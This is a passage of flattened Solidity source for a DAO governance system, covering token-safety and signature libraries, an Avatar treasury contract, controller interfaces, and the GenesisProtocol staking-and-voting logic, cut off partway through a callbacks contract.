function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
}
pragma solidity ^0.5.2;
library SafeERC20 {
using Address for address;
bytes4 constant private TRANSFER_SELECTOR = bytes4(keccak256(bytes("transfer(address,uint256)")));
bytes4 constant private TRANSFERFROM_SELECTOR = bytes4(keccak256(bytes("transferFrom(address,address,uint256)")));
bytes4 constant private APPROVE_SELECTOR = bytes4(keccak256(bytes("approve(address,uint256)")));
function safeTransfer(address _erc20Addr, address _to, uint256 _value) internal {
require(_erc20Addr.isContract());
(bool success, bytes memory returnValue) =
_erc20Addr.call(abi.encodeWithSelector(TRANSFER_SELECTOR, _to, _value));
require(success);
require(returnValue.length == 0 || (returnValue.length == 32 && (returnValue[31] != 0)));
}
function safeTransferFrom(address _erc20Addr, address _from, address _to, uint256 _value) internal {
require(_erc20Addr.isContract());
(bool success, bytes memory returnValue) =
_erc20Addr.call(abi.encodeWithSelector(TRANSFERFROM_SELECTOR, _from, _to, _value));
require(success);
require(returnValue.length == 0 || (returnValue.length == 32 && (returnValue[31] != 0)));
}
function safeApprove(address _erc20Addr, address _spender, uint256 _value) internal {
require(_erc20Addr.isContract());
require((_value == 0) || (IERC20(_erc20Addr).allowance(msg.sender, _spender) == 0));
(bool success, bytes memory returnValue) =
_erc20Addr.call(abi.encodeWithSelector(APPROVE_SELECTOR, _spender, _value));
require(success);
require(returnValue.length == 0 || (returnValue.length == 32 && (returnValue[31] != 0)));
}
}
contract Avatar is Ownable {
using SafeERC20 for address;
string public orgName;
DAOToken public nativeToken;
Reputation public nativeReputation;
event GenericCall(address indexed _contract, bytes _params, bool _success);
event SendEther(uint256 _amountInWei, address indexed _to);
event ExternalTokenTransfer(address indexed _externalToken, address indexed _to, uint256 _value);
event ExternalTokenTransferFrom(address indexed _externalToken, address _from, address _to, uint256 _value);
event ExternalTokenApproval(address indexed _externalToken, address _spender, uint256 _value);
event ReceiveEther(address indexed _sender, uint256 _value);
constructor(string memory _orgName, DAOToken _nativeToken, Reputation _nativeReputation) public {
orgName = _orgName;
nativeToken = _nativeToken;
nativeReputation = _nativeReputation;
}
function() external payable {
emit ReceiveEther(msg.sender, msg.value);
}
function genericCall(address _contract, bytes memory _data)
public
onlyOwner
returns(bool success, bytes memory returnValue) {
(success, returnValue) = _contract.call(_data);
emit GenericCall(_contract, _data, success);
}
function sendEther(uint256 _amountInWei, address payable _to) public onlyOwner returns(bool) {
_to.transfer(_amountInWei);
emit SendEther(_amountInWei, _to);
return true;
}
function externalTokenTransfer(IERC20 _externalToken, address _to, uint256 _value)
public onlyOwner returns(bool)
{
address(_externalToken).safeTransfer(_to, _value);
emit ExternalTokenTransfer(address(_externalToken), _to, _value);
return true;
}
function externalTokenTransferFrom(
IERC20 _externalToken,
address _from,
address _to,
uint256 _value
)
public onlyOwner returns(bool)
{
address(_externalToken).safeTransferFrom(_from, _to, _value);
emit ExternalTokenTransferFrom(address(_externalToken), _from, _to, _value);
return true;
}
function externalTokenApproval(IERC20 _externalToken, address _spender, uint256 _value)
public onlyOwner returns(bool)
{
address(_externalToken).safeApprove(_spender, _value);
emit ExternalTokenApproval(address(_externalToken), _spender, _value);
return true;
}
}
contract UniversalSchemeInterface {
function updateParameters(bytes32 _hashedParameters) public;
function getParametersFromController(Avatar _avatar) internal view returns(bytes32);
}
contract GlobalConstraintInterface {
enum CallPhase { Pre, Post, PreAndPost }
function pre( address _scheme, bytes32 _params, bytes32 _method ) public returns(bool);
function post( address _scheme, bytes32 _params, bytes32 _method ) public returns(bool);
function when() public returns(CallPhase);
}
interface ControllerInterface {
function mintReputation(uint256 _amount, address _to, address _avatar)
external
returns(bool);
function burnReputation(uint256 _amount, address _from, address _avatar)
external
returns(bool);
function mintTokens(uint256 _amount, address _beneficiary, address _avatar)
external
returns(bool);
function registerScheme(address _scheme, bytes32 _paramsHash, bytes4 _permissions, address _avatar)
external
returns(bool);
function unregisterScheme(address _scheme, address _avatar)
external
returns(bool);
function unregisterSelf(address _avatar) external returns(bool);
function addGlobalConstraint(address _globalConstraint, bytes32 _params, address _avatar)
external returns(bool);
function removeGlobalConstraint (address _globalConstraint, address _avatar)
external returns(bool);
function upgradeController(address _newController, Avatar _avatar)
external returns(bool);
function genericCall(address _contract, bytes calldata _data, Avatar _avatar)
external
returns(bool, bytes memory);
function sendEther(uint256 _amountInWei, address payable _to, Avatar _avatar)
external returns(bool);
function externalTokenTransfer(IERC20 _externalToken, address _to, uint256 _value, Avatar _avatar)
external
returns(bool);
function externalTokenTransferFrom(
IERC20 _externalToken,
address _from,
address _to,
uint256 _value,
Avatar _avatar)
external
returns(bool);
function externalTokenApproval(IERC20 _externalToken, address _spender, uint256 _value, Avatar _avatar)
external
returns(bool);
function getNativeReputation(address _avatar)
external
view
returns(address);
function isSchemeRegistered( address _scheme, address _avatar) external view returns(bool);
function getSchemeParameters(address _scheme, address _avatar) external view returns(bytes32);
function getGlobalConstraintParameters(address _globalConstraint, address _avatar) external view returns(bytes32);
function getSchemePermissions(address _scheme, address _avatar) external view returns(bytes4);
function globalConstraintsCount(address _avatar) external view returns(uint, uint);
function isGlobalConstraintRegistered(address _globalConstraint, address _avatar) external view returns(bool);
}
contract UniversalScheme is Ownable, UniversalSchemeInterface {
bytes32 public hashedParameters;
function updateParameters(
bytes32 _hashedParameters
)
public
onlyOwner
{
hashedParameters = _hashedParameters;
}
function getParametersFromController(Avatar _avatar) internal view returns(bytes32) {
require(ControllerInterface(_avatar.owner()).isSchemeRegistered(address(this), address(_avatar)),
"scheme is not registered");
return ControllerInterface(_avatar.owner()).getSchemeParameters(address(this), address(_avatar));
}
}
library ECDSA {
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
bytes32 r;
bytes32 s;
uint8 v;
if (signature.length != 65) {
return (address(0));
}
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
if (v < 27) {
v += 27;
}
if (v != 27 && v != 28) {
return (address(0));
} else {
return ecrecover(hash, v, r, s);
}
}
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
}
library RealMath {
uint256 constant private REAL_BITS = 256;
uint256 constant private REAL_FBITS = 40;
uint256 constant private REAL_ONE = uint256(1) << REAL_FBITS;
function pow(uint256 realBase, uint256 exponent) internal pure returns (uint256) {
uint256 tempRealBase = realBase;
uint256 tempExponent = exponent;
uint256 realResult = REAL_ONE;
while (tempExponent != 0) {
if ((tempExponent & 0x1) == 0x1) {
realResult = mul(realResult, tempRealBase);
}
tempExponent = tempExponent >> 1;
tempRealBase = mul(tempRealBase, tempRealBase);
}
return uint216(realResult / REAL_ONE);
}
function fraction(uint216 numerator, uint216 denominator) internal pure returns (uint256) {
return div(uint256(numerator) * REAL_ONE, uint256(denominator) * REAL_ONE);
}
function mul(uint256 realA, uint256 realB) private pure returns (uint256) {
return uint256((uint256(realA) * uint256(realB)) >> REAL_FBITS);
}
function div(uint256 realNumerator, uint256 realDenominator) private pure returns (uint256) {
return uint256((uint256(realNumerator) * REAL_ONE) / uint256(realDenominator));
}
}
interface ProposalExecuteInterface {
function executeProposal(bytes32 _proposalId, int _decision) external returns(bool);
}
library Math {
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
contract GenesisProtocolLogic is IntVoteInterface {
using SafeMath for uint;
using Math for uint;
using RealMath for uint216;
using RealMath for uint256;
using Address for address;
enum ProposalState { None, ExpiredInQueue, Executed, Queued, PreBoosted, Boosted, QuietEndingPeriod}
enum ExecutionState { None, QueueBarCrossed, QueueTimeOut, PreBoostedBarCrossed, BoostedTimeOut, BoostedBarCrossed}
struct Parameters {
uint256 queuedVoteRequiredPercentage;
uint256 queuedVotePeriodLimit;
uint256 boostedVotePeriodLimit;
uint256 preBoostedVotePeriodLimit;
uint256 thresholdConst;
uint256 limitExponentValue;
uint256 quietEndingPeriod;
uint256 proposingRepReward;
uint256 votersReputationLossRatio;
uint256 minimumDaoBounty;
uint256 daoBountyConst;
uint256 activationTime;
address voteOnBehalf;
}
struct Voter {
uint256 vote;
uint256 reputation;
bool preBoosted;
}
struct Staker {
uint256 vote;
uint256 amount;
uint256 amount4Bounty;
}
struct Proposal {
bytes32 organizationId;
address callbacks;
ProposalState state;
uint256 winningVote;
address proposer;
uint256 currentBoostedVotePeriodLimit;
bytes32 paramsHash;
uint256 daoBountyRemain;
uint256 daoBounty;
uint256 totalStakes;
uint256 confidenceThreshold;
uint256 expirationCallBountyPercentage;
uint[3] times;
mapping(uint256 => uint256 ) votes;
mapping(uint256 => uint256 ) preBoostedVotes;
mapping(address => Voter ) voters;
mapping(uint256 => uint256 ) stakes;
mapping(address => Staker ) stakers;
}
event Stake(bytes32 indexed _proposalId,
address indexed _organization,
address indexed _staker,
uint256 _vote,
uint256 _amount
);
event Redeem(bytes32 indexed _proposalId,
address indexed _organization,
address indexed _beneficiary,
uint256 _amount
);
event RedeemDaoBounty(bytes32 indexed _proposalId,
address indexed _organization,
address indexed _beneficiary,
uint256 _amount
);
event RedeemReputation(bytes32 indexed _proposalId,
address indexed _organization,
address indexed _beneficiary,
uint256 _amount
);
event StateChange(bytes32 indexed _proposalId, ProposalState _proposalState);
event GPExecuteProposal(bytes32 indexed _proposalId, ExecutionState _executionState);
event ExpirationCallBounty(bytes32 indexed _proposalId, address indexed _beneficiary, uint256 _amount);
mapping(bytes32=>Parameters) public parameters;
mapping(bytes32=>Proposal) public proposals;
mapping(bytes32=>uint) public orgBoostedProposalsCnt;
mapping(bytes32 => address ) public organizations;
mapping(bytes32 => uint256 ) public averagesDownstakesOfBoosted;
uint256 constant public NUM_OF_CHOICES = 2;
uint256 constant public NO = 2;
uint256 constant public YES = 1;
uint256 public proposalsCnt;
IERC20 public stakingToken;
address constant private GEN_TOKEN_ADDRESS = 0x543Ff227F64Aa17eA132Bf9886cAb5DB55DCAddf;
uint256 constant private MAX_BOOSTED_PROPOSALS = 4096;
constructor(IERC20 _stakingToken) public {
if (address(GEN_TOKEN_ADDRESS).isContract()) {
stakingToken = IERC20(GEN_TOKEN_ADDRESS);
} else {
stakingToken = _stakingToken;
}
}
modifier votable(bytes32 _proposalId) {
require(_isVotable(_proposalId));
_;
}
function propose(uint256, bytes32 _paramsHash, address _proposer, address _organization)
external
returns(bytes32)
{
require(now > parameters[_paramsHash].activationTime, "not active yet");
require(parameters[_paramsHash].queuedVoteRequiredPercentage >= 50);
bytes32 proposalId = keccak256(abi.encodePacked(this, proposalsCnt));
proposalsCnt = proposalsCnt.add(1);
Proposal memory proposal;
proposal.callbacks = msg.sender;
proposal.organizationId = keccak256(abi.encodePacked(msg.sender, _organization));
proposal.state = ProposalState.Queued;
proposal.times[0] = now;
proposal.currentBoostedVotePeriodLimit = parameters[_paramsHash].boostedVotePeriodLimit;
proposal.proposer = _proposer;
proposal.winningVote = NO;
proposal.paramsHash = _paramsHash;
if (organizations[proposal.organizationId] == address(0)) {
if (_organization == address(0)) {
organizations[proposal.organizationId] = msg.sender;
} else {
organizations[proposal.organizationId] = _organization;
}
}
uint256 daoBounty =
parameters[_paramsHash].daoBountyConst.mul(averagesDownstakesOfBoosted[proposal.organizationId]).div(100);
if (daoBounty < parameters[_paramsHash].minimumDaoBounty) {
proposal.daoBountyRemain = parameters[_paramsHash].minimumDaoBounty;
} else {
proposal.daoBountyRemain = daoBounty;
}
proposal.totalStakes = proposal.daoBountyRemain;
proposals[proposalId] = proposal;
proposals[proposalId].stakes[NO] = proposal.daoBountyRemain;
Staker storage staker = proposals[proposalId].stakers[organizations[proposal.organizationId]];
staker.vote = NO;
staker.amount = proposal.daoBountyRemain;
emit NewProposal(proposalId, organizations[proposal.organizationId], NUM_OF_CHOICES, _proposer, _paramsHash);
return proposalId;
}
function executeBoosted(bytes32 _proposalId) external returns(uint256 expirationCallBounty) {
Proposal storage proposal = proposals[_proposalId];
require(proposal.state == ProposalState.Boosted);
require(_execute(_proposalId), "proposal need to expire");
uint256 expirationCallBountyPercentage =
(uint(1).add(now.sub(proposal.currentBoostedVotePeriodLimit.add(proposal.times[1])).div(15)));
if (expirationCallBountyPercentage > 100) {
expirationCallBountyPercentage = 100;
}
proposal.expirationCallBountyPercentage = expirationCallBountyPercentage;
expirationCallBounty = expirationCallBountyPercentage.mul(proposal.stakes[YES]).div(100);
require(stakingToken.transfer(msg.sender, expirationCallBounty), "transfer to msg.sender failed");
emit ExpirationCallBounty(_proposalId, msg.sender, expirationCallBounty);
}
function setParameters(
uint[11] calldata _params,
address _voteOnBehalf
)
external
returns(bytes32)
{
require(_params[0] <= 100 && _params[0] >= 50, "50 <= queuedVoteRequiredPercentage <= 100");
require(_params[4] <= 16000 && _params[4] > 1000, "1000 < thresholdConst <= 16000");
require(_params[7] <= 100, "votersReputationLossRatio <= 100");
require(_params[2] >= _params[5], "boostedVotePeriodLimit >= quietEndingPeriod");
require(_params[8] > 0, "minimumDaoBounty should be > 0");
require(_params[9] > 0, "daoBountyConst should be > 0");
bytes32 paramsHash = getParametersHash(_params, _voteOnBehalf);
uint256 limitExponent = 172;
uint256 j = 2;
for (uint256 i = 2000; i < 16000; i = i*2) {
if ((_params[4] > i) && (_params[4] <= i*2)) {
limitExponent = limitExponent/j;
break;
}
j++;
}
parameters[paramsHash] = Parameters({
queuedVoteRequiredPercentage: _params[0],
queuedVotePeriodLimit: _params[1],
boostedVotePeriodLimit: _params[2],
preBoostedVotePeriodLimit: _params[3],
thresholdConst:uint216(_params[4]).fraction(uint216(1000)),
limitExponentValue:limitExponent,
quietEndingPeriod: _params[5],
proposingRepReward: _params[6],
votersReputationLossRatio:_params[7],
minimumDaoBounty:_params[8],
daoBountyConst:_params[9],
activationTime:_params[10],
voteOnBehalf:_voteOnBehalf
});
return paramsHash;
}
function redeem(bytes32 _proposalId, address _beneficiary) public returns (uint[3] memory rewards) {
Proposal storage proposal = proposals[_proposalId];
require((proposal.state == ProposalState.Executed)||(proposal.state == ProposalState.ExpiredInQueue),
"Proposal should be Executed or ExpiredInQueue");
Parameters memory params = parameters[proposal.paramsHash];
uint256 lostReputation;
if (proposal.winningVote == YES) {
lostReputation = proposal.preBoostedVotes[NO];
} else {
lostReputation = proposal.preBoostedVotes[YES];
}
lostReputation = (lostReputation.mul(params.votersReputationLossRatio))/100;
Staker storage staker = proposal.stakers[_beneficiary];
if (staker.amount > 0) {
if (proposal.state == ProposalState.ExpiredInQueue) {
rewards[0] = staker.amount;
} else if (staker.vote == proposal.winningVote) {
uint256 totalWinningStakes = proposal.stakes[proposal.winningVote];
uint256 totalStakes = proposal.stakes[YES].add(proposal.stakes[NO]);
if (staker.vote == YES) {
uint256 _totalStakes =
((totalStakes.mul(100 - proposal.expirationCallBountyPercentage))/100) - proposal.daoBounty;
rewards[0] = (staker.amount.mul(_totalStakes))/totalWinningStakes;
} else {
rewards[0] = (staker.amount.mul(totalStakes))/totalWinningStakes;
if (organizations[proposal.organizationId] == _beneficiary) {
rewards[0] = rewards[0].sub(proposal.daoBounty);
}
}
}
staker.amount = 0;
}
Voter storage voter = proposal.voters[_beneficiary];
if ((voter.reputation != 0) && (voter.preBoosted)) {
if (proposal.state == ProposalState.ExpiredInQueue) {
rewards[1] = ((voter.reputation.mul(params.votersReputationLossRatio))/100);
} else if (proposal.winningVote == voter.vote) {
uint256 preBoostedVotes = proposal.preBoostedVotes[YES].add(proposal.preBoostedVotes[NO]);
rewards[1] = ((voter.reputation.mul(params.votersReputationLossRatio))/100)
.add((voter.reputation.mul(lostReputation))/preBoostedVotes);
}
voter.reputation = 0;
}
if ((proposal.proposer == _beneficiary)&&(proposal.winningVote == YES)&&(proposal.proposer != address(0))) {
rewards[2] = params.proposingRepReward;
proposal.proposer = address(0);
}
if (rewards[0] != 0) {
proposal.totalStakes = proposal.totalStakes.sub(rewards[0]);
require(stakingToken.transfer(_beneficiary, rewards[0]), "transfer to beneficiary failed");
emit Redeem(_proposalId, organizations[proposal.organizationId], _beneficiary, rewards[0]);
}
if (rewards[1].add(rewards[2]) != 0) {
VotingMachineCallbacksInterface(proposal.callbacks)
.mintReputation(rewards[1].add(rewards[2]), _beneficiary, _proposalId);
emit RedeemReputation(
_proposalId,
organizations[proposal.organizationId],
_beneficiary,
rewards[1].add(rewards[2])
);
}
}
function redeemDaoBounty(bytes32 _proposalId, address _beneficiary)
public
returns(uint256 redeemedAmount, uint256 potentialAmount) {
Proposal storage proposal = proposals[_proposalId];
require(proposal.state == ProposalState.Executed);
uint256 totalWinningStakes = proposal.stakes[proposal.winningVote];
Staker storage staker = proposal.stakers[_beneficiary];
if (
(staker.amount4Bounty > 0)&&
(staker.vote == proposal.winningVote)&&
(proposal.winningVote == YES)&&
(totalWinningStakes != 0)) {
potentialAmount = (staker.amount4Bounty * proposal.daoBounty)/totalWinningStakes;
}
if ((potentialAmount != 0)&&
(VotingMachineCallbacksInterface(proposal.callbacks)
.balanceOfStakingToken(stakingToken, _proposalId) >= potentialAmount)) {
staker.amount4Bounty = 0;
proposal.daoBountyRemain = proposal.daoBountyRemain.sub(potentialAmount);
require(
VotingMachineCallbacksInterface(proposal.callbacks)
.stakingTokenTransfer(stakingToken, _beneficiary, potentialAmount, _proposalId));
redeemedAmount = potentialAmount;
emit RedeemDaoBounty(_proposalId, organizations[proposal.organizationId], _beneficiary, redeemedAmount);
}
}
function shouldBoost(bytes32 _proposalId) public view returns(bool) {
Proposal memory proposal = proposals[_proposalId];
return (_score(_proposalId) > threshold(proposal.paramsHash, proposal.organizationId));
}
function threshold(bytes32 _paramsHash, bytes32 _organizationId) public view returns(uint256) {
uint256 power = orgBoostedProposalsCnt[_organizationId];
Parameters storage params = parameters[_paramsHash];
if (power > params.limitExponentValue) {
power = params.limitExponentValue;
}
return params.thresholdConst.pow(power);
}
function getParametersHash(
uint[11] memory _params,
address _voteOnBehalf
)
public
pure
returns(bytes32)
{
return keccak256(
abi.encodePacked(
keccak256(
abi.encodePacked(
_params[0],
_params[1],
_params[2],
_params[3],
_params[4],
_params[5],
_params[6],
_params[7],
_params[8],
_params[9],
_params[10])
),
_voteOnBehalf
));
}
function _execute(bytes32 _proposalId) internal votable(_proposalId) returns(bool) {
Proposal storage proposal = proposals[_proposalId];
Parameters memory params = parameters[proposal.paramsHash];
Proposal memory tmpProposal = proposal;
uint256 totalReputation =
VotingMachineCallbacksInterface(proposal.callbacks).getTotalReputationSupply(_proposalId);
uint256 executionBar = (totalReputation/100) * params.queuedVoteRequiredPercentage;
ExecutionState executionState = ExecutionState.None;
uint256 averageDownstakesOfBoosted;
uint256 confidenceThreshold;
if (proposal.votes[proposal.winningVote] > executionBar) {
if (proposal.state == ProposalState.Queued) {
executionState = ExecutionState.QueueBarCrossed;
} else if (proposal.state == ProposalState.PreBoosted) {
executionState = ExecutionState.PreBoostedBarCrossed;
} else {
executionState = ExecutionState.BoostedBarCrossed;
}
proposal.state = ProposalState.Executed;
} else {
if (proposal.state == ProposalState.Queued) {
if ((now - proposal.times[0]) >= params.queuedVotePeriodLimit) {
proposal.state = ProposalState.ExpiredInQueue;
proposal.winningVote = NO;
executionState = ExecutionState.QueueTimeOut;
} else {
confidenceThreshold = threshold(proposal.paramsHash, proposal.organizationId);
if (_score(_proposalId) > confidenceThreshold) {
proposal.state = ProposalState.PreBoosted;
proposal.times[2] = now;
proposal.confidenceThreshold = confidenceThreshold;
}
}
}
if (proposal.state == ProposalState.PreBoosted) {
confidenceThreshold = threshold(proposal.paramsHash, proposal.organizationId);
if ((now - proposal.times[2]) >= params.preBoostedVotePeriodLimit) {
if ((_score(_proposalId) > confidenceThreshold) &&
(orgBoostedProposalsCnt[proposal.organizationId] < MAX_BOOSTED_PROPOSALS)) {
proposal.state = ProposalState.Boosted;
proposal.times[1] = now;
orgBoostedProposalsCnt[proposal.organizationId]++;
averageDownstakesOfBoosted = averagesDownstakesOfBoosted[proposal.organizationId];
averagesDownstakesOfBoosted[proposal.organizationId] =
uint256(int256(averageDownstakesOfBoosted) +
((int256(proposal.stakes[NO])-int256(averageDownstakesOfBoosted))/
int256(orgBoostedProposalsCnt[proposal.organizationId])));
}
} else {
uint256 proposalScore = _score(_proposalId);
if (proposalScore <= proposal.confidenceThreshold.min(confidenceThreshold)) {
proposal.state = ProposalState.Queued;
} else if (proposal.confidenceThreshold > proposalScore) {
proposal.confidenceThreshold = confidenceThreshold;
}
}
}
}
if ((proposal.state == ProposalState.Boosted) ||
(proposal.state == ProposalState.QuietEndingPeriod)) {
if ((now - proposal.times[1]) >= proposal.currentBoostedVotePeriodLimit) {
proposal.state = ProposalState.Executed;
executionState = ExecutionState.BoostedTimeOut;
}
}
if (executionState != ExecutionState.None) {
if ((executionState == ExecutionState.BoostedTimeOut) ||
(executionState == ExecutionState.BoostedBarCrossed)) {
orgBoostedProposalsCnt[tmpProposal.organizationId] =
orgBoostedProposalsCnt[tmpProposal.organizationId].sub(1);
uint256 boostedProposals = orgBoostedProposalsCnt[tmpProposal.organizationId];
if (boostedProposals == 0) {
averagesDownstakesOfBoosted[proposal.organizationId] = 0;
} else {
averageDownstakesOfBoosted = averagesDownstakesOfBoosted[proposal.organizationId];
averagesDownstakesOfBoosted[proposal.organizationId] =
(averageDownstakesOfBoosted.mul(boostedProposals+1).sub(proposal.stakes[NO]))/boostedProposals;
}
}
emit ExecuteProposal(
_proposalId,
organizations[proposal.organizationId],
proposal.winningVote,
totalReputation
);
emit GPExecuteProposal(_proposalId, executionState);
ProposalExecuteInterface(proposal.callbacks).executeProposal(_proposalId, int(proposal.winningVote));
proposal.daoBounty = proposal.daoBountyRemain;
}
if (tmpProposal.state != proposal.state) {
emit StateChange(_proposalId, proposal.state);
}
return (executionState != ExecutionState.None);
}
function _stake(bytes32 _proposalId, uint256 _vote, uint256 _amount, address _staker) internal returns(bool) {
require(_vote <= NUM_OF_CHOICES && _vote > 0, "wrong vote value");
require(_amount > 0, "staking amount should be >0");
if (_execute(_proposalId)) {
return true;
}
Proposal storage proposal = proposals[_proposalId];
if ((proposal.state != ProposalState.PreBoosted) &&
(proposal.state != ProposalState.Queued)) {
return false;
}
Staker storage staker = proposal.stakers[_staker];
if ((staker.amount > 0) && (staker.vote != _vote)) {
return false;
}
uint256 amount = _amount;
require(stakingToken.transferFrom(_staker, address(this), amount), "fail transfer from staker");
proposal.totalStakes = proposal.totalStakes.add(amount);
staker.amount = staker.amount.add(amount);
require(staker.amount <= 0x100000000000000000000000000000000, "staking amount is too high");
require(proposal.totalStakes <= 0x100000000000000000000000000000000, "total stakes is too high");
if (_vote == YES) {
staker.amount4Bounty = staker.amount4Bounty.add(amount);
}
staker.vote = _vote;
proposal.stakes[_vote] = amount.add(proposal.stakes[_vote]);
emit Stake(_proposalId, organizations[proposal.organizationId], _staker, _vote, _amount);
return _execute(_proposalId);
}
function internalVote(bytes32 _proposalId, address _voter, uint256 _vote, uint256 _rep) internal returns(bool) {
require(_vote <= NUM_OF_CHOICES && _vote > 0, "0 < _vote <= 2");
if (_execute(_proposalId)) {
return true;
}
Parameters memory params = parameters[proposals[_proposalId].paramsHash];
Proposal storage proposal = proposals[_proposalId];
uint256 reputation = VotingMachineCallbacksInterface(proposal.callbacks).reputationOf(_voter, _proposalId);
require(reputation > 0, "_voter must have reputation");
require(reputation >= _rep, "reputation >= _rep");
uint256 rep = _rep;
if (rep == 0) {
rep = reputation;
}
if (proposal.voters[_voter].reputation != 0) {
return false;
}
proposal.votes[_vote] = rep.add(proposal.votes[_vote]);
if ((proposal.votes[_vote] > proposal.votes[proposal.winningVote]) ||
((proposal.votes[NO] == proposal.votes[proposal.winningVote]) &&
proposal.winningVote == YES)) {
if (proposal.state == ProposalState.Boosted &&
((now - proposal.times[1]) >= (params.boostedVotePeriodLimit - params.quietEndingPeriod))||
proposal.state == ProposalState.QuietEndingPeriod) {
if (proposal.state != ProposalState.QuietEndingPeriod) {
proposal.currentBoostedVotePeriodLimit = params.quietEndingPeriod;
proposal.state = ProposalState.QuietEndingPeriod;
}
proposal.times[1] = now;
}
proposal.winningVote = _vote;
}
proposal.voters[_voter] = Voter({
reputation: rep,
vote: _vote,
preBoosted:((proposal.state == ProposalState.PreBoosted) || (proposal.state == ProposalState.Queued))
});
if ((proposal.state == ProposalState.PreBoosted) || (proposal.state == ProposalState.Queued)) {
proposal.preBoostedVotes[_vote] = rep.add(proposal.preBoostedVotes[_vote]);
uint256 reputationDeposit = (params.votersReputationLossRatio.mul(rep))/100;
VotingMachineCallbacksInterface(proposal.callbacks).burnReputation(reputationDeposit, _voter, _proposalId);
}
emit VoteProposal(_proposalId, organizations[proposal.organizationId], _voter, _vote, rep);
return _execute(_proposalId);
}
function _score(bytes32 _proposalId) internal view returns(uint256) {
Proposal storage proposal = proposals[_proposalId];
return proposal.stakes[YES]/proposal.stakes[NO];
}
function _isVotable(bytes32 _proposalId) internal view returns(bool) {
ProposalState pState = proposals[_proposalId].state;
return ((pState == ProposalState.PreBoosted)||
(pState == ProposalState.Boosted)||
(pState == ProposalState.QuietEndingPeriod)||
(pState == ProposalState.Queued)
);
}
}
contract GenesisProtocol is IntVoteInterface, GenesisProtocolLogic {
using ECDSA for bytes32;
bytes32 public constant DELEGATION_HASH_EIP712 =
keccak256(abi.encodePacked(
"address GenesisProtocolAddress",
"bytes32 ProposalId",
"uint256 Vote",
"uint256 AmountToStake",
"uint256 Nonce"
));
mapping(address=>uint256) public stakesNonce;
constructor(IERC20 _stakingToken)
public
GenesisProtocolLogic(_stakingToken) {
}
function stake(bytes32 _proposalId, uint256 _vote, uint256 _amount) external returns(bool) {
return _stake(_proposalId, _vote, _amount, msg.sender);
}
function stakeWithSignature(
bytes32 _proposalId,
uint256 _vote,
uint256 _amount,
uint256 _nonce,
uint256 _signatureType,
bytes calldata _signature
)
external
returns(bool)
{
bytes32 delegationDigest;
if (_signatureType == 2) {
delegationDigest = keccak256(
abi.encodePacked(
DELEGATION_HASH_EIP712, keccak256(
abi.encodePacked(
address(this),
_proposalId,
_vote,
_amount,
_nonce)
)
)
);
} else {
delegationDigest = keccak256(
abi.encodePacked(
address(this),
_proposalId,
_vote,
_amount,
_nonce)
).toEthSignedMessageHash();
}
address staker = delegationDigest.recover(_signature);
require(staker != address(0), "staker address cannot be 0");
require(stakesNonce[staker] == _nonce);
stakesNonce[staker] = stakesNonce[staker].add(1);
return _stake(_proposalId, _vote, _amount, staker);
}
function vote(bytes32 _proposalId, uint256 _vote, uint256 _amount, address _voter)
external
votable(_proposalId)
returns(bool) {
Proposal storage proposal = proposals[_proposalId];
Parameters memory params = parameters[proposal.paramsHash];
address voter;
if (params.voteOnBehalf != address(0)) {
require(msg.sender == params.voteOnBehalf);
voter = _voter;
} else {
voter = msg.sender;
}
return internalVote(_proposalId, voter, _vote, _amount);
}
function cancelVote(bytes32 _proposalId) external votable(_proposalId) {
return;
}
function execute(bytes32 _proposalId) external votable(_proposalId) returns(bool) {
return _execute(_proposalId);
}
function getNumberOfChoices(bytes32) external view returns(uint256) {
return NUM_OF_CHOICES;
}
function getProposalTimes(bytes32 _proposalId) external view returns(uint[3] memory times) {
return proposals[_proposalId].times;
}
function voteInfo(bytes32 _proposalId, address _voter) external view returns(uint, uint) {
Voter memory voter = proposals[_proposalId].voters[_voter];
return (voter.vote, voter.reputation);
}
function voteStatus(bytes32 _proposalId, uint256 _choice) external view returns(uint256) {
return proposals[_proposalId].votes[_choice];
}
function isVotable(bytes32 _proposalId) external view returns(bool) {
return _isVotable(_proposalId);
}
function proposalStatus(bytes32 _proposalId) external view returns(uint256, uint256, uint256, uint256) {
return (
proposals[_proposalId].preBoostedVotes[YES],
proposals[_proposalId].preBoostedVotes[NO],
proposals[_proposalId].stakes[YES],
proposals[_proposalId].stakes[NO]
);
}
function getProposalOrganization(bytes32 _proposalId) external view returns(bytes32) {
return (proposals[_proposalId].organizationId);
}
function getStaker(bytes32 _proposalId, address _staker) external view returns(uint256, uint256) {
return (proposals[_proposalId].stakers[_staker].vote, proposals[_proposalId].stakers[_staker].amount);
}
function voteStake(bytes32 _proposalId, uint256 _vote) external view returns(uint256) {
return proposals[_proposalId].stakes[_vote];
}
function winningVote(bytes32 _proposalId) external view returns(uint256) {
return proposals[_proposalId].winningVote;
}
function state(bytes32 _proposalId) external view returns(ProposalState) {
return proposals[_proposalId].state;
}
function isAbstainAllow() external pure returns(bool) {
return false;
}
function getAllowedRangeOfChoices() external pure returns(uint256 min, uint256 max) {
return (YES, NO);
}
function score(bytes32 _proposalId) public view returns(uint256) {
return _score(_proposalId);
}
}
contract VotingMachineCallbacks is VotingMachineCallbacksInterface {
struct ProposalInfo {
uint256 blockNumber;
Avatar avatar;
address votingMachine;
}
modifier onlyVotingMachine(bytes32 _proposalId) {
require(msg.sender == proposalsInfo[_proposalId].votingMachine, "only VotingMachine");
_;
}
mapping(bytes32 => ProposalInfo ) public proposalsInfo;
function mintReputation(uint256 _amount, address _beneficiary, bytes32 _proposalId)
external
onlyVotingMachine(_proposalId)
returns(bool)
{
Avatar avatar = proposalsInfo[_proposalId].avatar;
if (avatar == Avatar(0)) {
return false;
}
return ControllerInterface(avatar.owner()).mintReputation(_amount, _beneficiary, address(avatar));
}
function burnReputation(uint256 _amount, address _beneficiary, bytes32 _proposalId)
external
onlyVotingMachine(_proposalId)
returns(bool)
{
Avatar avatar = proposalsInfo[_proposalId].avatar;
if (avatar == Avatar(0)) {
return false;
}
